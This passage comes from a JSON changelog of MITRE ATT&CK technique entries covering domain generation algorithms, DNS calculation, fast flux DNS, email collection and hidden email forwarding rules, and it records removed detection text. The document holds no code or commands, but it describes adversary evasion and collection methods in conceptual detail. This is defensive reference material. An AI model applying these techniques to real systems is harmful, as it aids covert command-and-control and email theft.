Activity", + "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.", + "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/" + }, + { + "source_name": "Data Driven Security DGA", + "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.", + "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Chris Roffe" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "ESXi" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:00.128000+00:00\", \"old_value\": \"2025-04-25 15:15:46.359000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting dynamically generated C2 can be challenging due to the number of different algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are multiple approaches to detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more (Citation: Data Driven Security DGA). CDN domains may trigger these detections due to the format of their domain names. In addition to detecting algorithm generated domains based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1021: Restrict Web-Based Content", + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0039: Detection Strategy for Dynamic Resolution across OS Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-11 14:56:34.154000+00:00", + "modified": "2025-10-24 17:49:03.093000+00:00", + "name": "DNS Calculation", + "description": "Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)\n\nOne implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1568/003", + "external_id": "T1568.003" + }, + { + "source_name": "Meyers Numbered Panda", + "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.", + "url": "http://www.crowdstrike.com/blog/whois-numbered-panda/" + }, + { + "source_name": "Moran 2014", + "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" + }, + { + "source_name": "Rapid7G20Espionage", + "description": "Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017.", + "url": "https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "ESXi" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:03.093000+00:00\", \"old_value\": \"2025-04-25 14:47:18.343000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection for this technique is difficult because it would require knowledge of the specific implementation of the port calculation algorithm. Detection may be possible by analyzing DNS records if the algorithm is known.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0262: Detection Strategy for Dynamic Resolution through DNS Calculation" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-10 17:44:59.787000+00:00", + "modified": "2025-10-24 17:48:25.458000+00:00", + "name": "Domain Generation Algorithms", + "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1568/002", + "external_id": "T1568.002" + }, + { + "source_name": "Elastic Predicting DGA", + "description": "Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019.", + "url": "https://arxiv.org/pdf/1611.00791.pdf" + }, + { + "source_name": "Talos CCleanup 2017", + "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.", + "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html" + }, + { + "source_name": "Pace University Detecting DGA May 2017", + "description": "Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019.", + "url": "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf" + }, + { + "source_name": "FireEye POSHSPY April 2017", + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + }, + { + "source_name": "ESET Sednit 2017 Activity", + "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.", + "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/" + }, + { + "source_name": "Data Driven Security DGA", + "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.", + "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/" + }, + { + "source_name": "Akamai DGA Mitigation", + "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.", + "url": "https://medium.com/@yvyuz/a-death-match-of-domain-generation-algorithms-a5b5dbdc1c6e" + }, + { + "source_name": "Cisco Umbrella DGA", + "description": "Scarfo, A. (2016, October 10). Domain Generation Algorithms \u2013 Why so effective?. Retrieved February 18, 2019.", + "url": "https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/" + }, + { + "source_name": "Cybereason Dissecting DGAs", + "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.", + "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf" + }, + { + "source_name": "Unit 42 DGA Feb 2019", + "description": "Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Ryan Benson, Exabeam", + "Barry Shteiman, Exabeam", + "Sylvain Gil, Exabeam" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "ESXi" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:25.458000+00:00\", \"old_value\": \"2025-04-15 19:58:07.610000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\\n\\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\\n-\\n-Machine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1021: Restrict Web-Based Content", + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0419: Detection Strategy for Dynamic Resolution using Domain Generation Algorithms." + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-11 14:11:16.560000+00:00", + "modified": "2025-10-24 17:48:33.501000+00:00", + "name": "Fast Flux DNS", + "description": "Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)\n\nThe simplest, \"single-flux\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)\n\nIn contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1568/001", + "external_id": "T1568.001" + }, + { + "source_name": "MehtaFastFluxPt1", + "description": "Mehta, L. (2014, December 17). Fast Flux Networks Working and Detection, Part 1. Retrieved March 6, 2017.", + "url": "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref" + }, + { + "source_name": "MehtaFastFluxPt2", + "description": "Mehta, L. (2014, December 23). Fast Flux Networks Working and Detection, Part 2. Retrieved March 6, 2017.", + "url": "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref" + }, + { + "source_name": "Fast Flux - Welivesecurity", + "description": "Albors, Josep. (2017, January 12). Fast Flux networks: What are they and how do they work?. Retrieved March 11, 2020.", + "url": "https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "ESXi" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:33.501000+00:00\", \"old_value\": \"2025-04-25 14:46:09.378000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as domain registrars and service providers are likely in the best position for detection.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0485: Detection Strategy for Dynamic Resolution using Fast Flux DNS" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:25.454000+00:00", + "modified": "2025-10-24 17:48:26.463000+00:00", + "name": "Email Collection", + "description": "Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses.(Citation: TrustedSec OOB Communications)(Citation: CISA AA20-352A 2021) Adversaries can collect or forward email from mail servers or clients. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1114", + "external_id": "T1114" + }, + { + "source_name": "CISA AA20-352A 2021", + "description": "CISA. (2021, April 15). Advanced Persistent Threat Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations. Retrieved August 30, 2024.", + "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-352a" + }, + { + "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2", + "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.", + "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/" + }, + { + "source_name": "TrustedSec OOB Communications", + "description": "Tyler Hudak. (2022, December 29). To OOB, or Not to OOB?: Why Out-of-Band Communications are Essential for Incident Response. Retrieved August 30, 2024.", + "url": "https://trustedsec.com/blog/to-oob-or-not-to-oob-why-out-of-band-communications-are-essential-for-incident-response" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)", + "Menachem Goldstein" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux", + "Office Suite" + ], + "x_mitre_version": "2.6", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"Application Log: Application Log Content\", \"Network Traffic: Network Connection Creation\", \"File: File Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.463000+00:00\", \"old_value\": \"2025-04-15 22:26:37.477000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\\n\\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nDetection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.\\n\\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\\n-\\n-File access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.\\n-\\n-Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.\"}}}", + "previous_version": "2.6", + "changelog_mitigations": { + "shared": [ + "M1032: Multi-factor Authentication", + "M1041: Encrypt Sensitive Information", + "M1047: Audit", + "M1060: Out-of-Band Communications Channel" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0029: Network Traffic (Network Connection Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0476: Email Collection via Local Email Access and Auto-Forwarding Behavior" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-19 18:54:47.103000+00:00", + "modified": "2025-10-24 17:49:00.920000+00:00", + "name": "Email Forwarding Rule", + "description": "Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)\n\nIn some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1114/003", + "external_id": "T1114.003" + }, + { + "source_name": "Mac Forwarding Rules", + "description": "Apple. (n.d.). Reply to, forward, or redirect emails in Mail on Mac. Retrieved June 22, 2021.", + "url": "https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac" + }, + { + "source_name": "Pfammatter - Hidden Inbox Rules", + "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.", + "url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/" + }, + { + "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2", + "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.", + "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/" + }, + { + "source_name": "Microsoft Mail Flow Rules 2023", + "description": "Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.", + "url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules" + }, + { + "source_name": "US-CERT TA18-068A 2018", + "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Microsoft Security", + "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)", + "Liran Ravich, CardinalOps", + "Arun Seelagan, CISA" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Office Suite", + "Windows" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Application Log: Application Log Content\", \"Cloud Service: Cloud Service Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:00.920000+00:00\", \"old_value\": \"2025-04-15 22:26:55.201000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules)\\n\\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules)\\n-\\n-Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim 